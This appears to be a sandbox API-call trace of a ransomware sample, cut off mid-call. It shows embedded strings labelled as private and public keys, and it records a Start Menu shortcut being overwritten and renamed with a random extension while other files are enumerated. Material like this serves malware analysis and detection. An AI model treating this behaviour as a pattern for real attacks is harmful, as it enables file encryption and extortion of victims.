lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0129.571] GetCurrentThreadId () returned 0xa30 [0129.571] GetCurrentThreadId () returned 0xa30 [0129.571] GetCurrentThreadId () returned 0xa30 [0129.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.572] GetCurrentThreadId () returned 0xa30 [0129.572] GetCurrentThreadId () returned 0xa30 [0129.572] GetCurrentThreadId () returned 0xa30 [0129.572] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0129.572] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0129.572] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0129.573] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x989 [0129.573] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0129.573] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x989, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f6a0*=0x989, lpOverlapped=0x0) returned 1 [0129.576] CloseHandle (hObject=0x1ec) returned 1 [0129.576] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0129.578] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x989, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f6ac*=0x989, lpOverlapped=0x0) returned 1 [0129.580] CloseHandle (hObject=0x1ec) returned 1 [0129.581] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk.zv7un")) returned 1 [0129.582] GetCurrentThreadId () returned 0xa30 [0129.582] GetCurrentThreadId () returned 0xa30 [0129.582] GetCurrentThreadId () returned 0xa30 [0129.582] GetCurrentThreadId () returned 0xa30 [0129.582] GetCurrentThreadId () returned 0xa30 [0129.582] GetCurrentThreadId () returned 0xa30 [0129.582] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.582] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0129.582] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.582] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Games", cAlternateFileName="")) returned 1 [0129.582] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0129.583] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0129.583] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.583] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd)) returned 1 [0129.583] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk")) returned 0x20 [0129.583] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk", dwFileAttributes=0x80) returned 1 [0129.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCL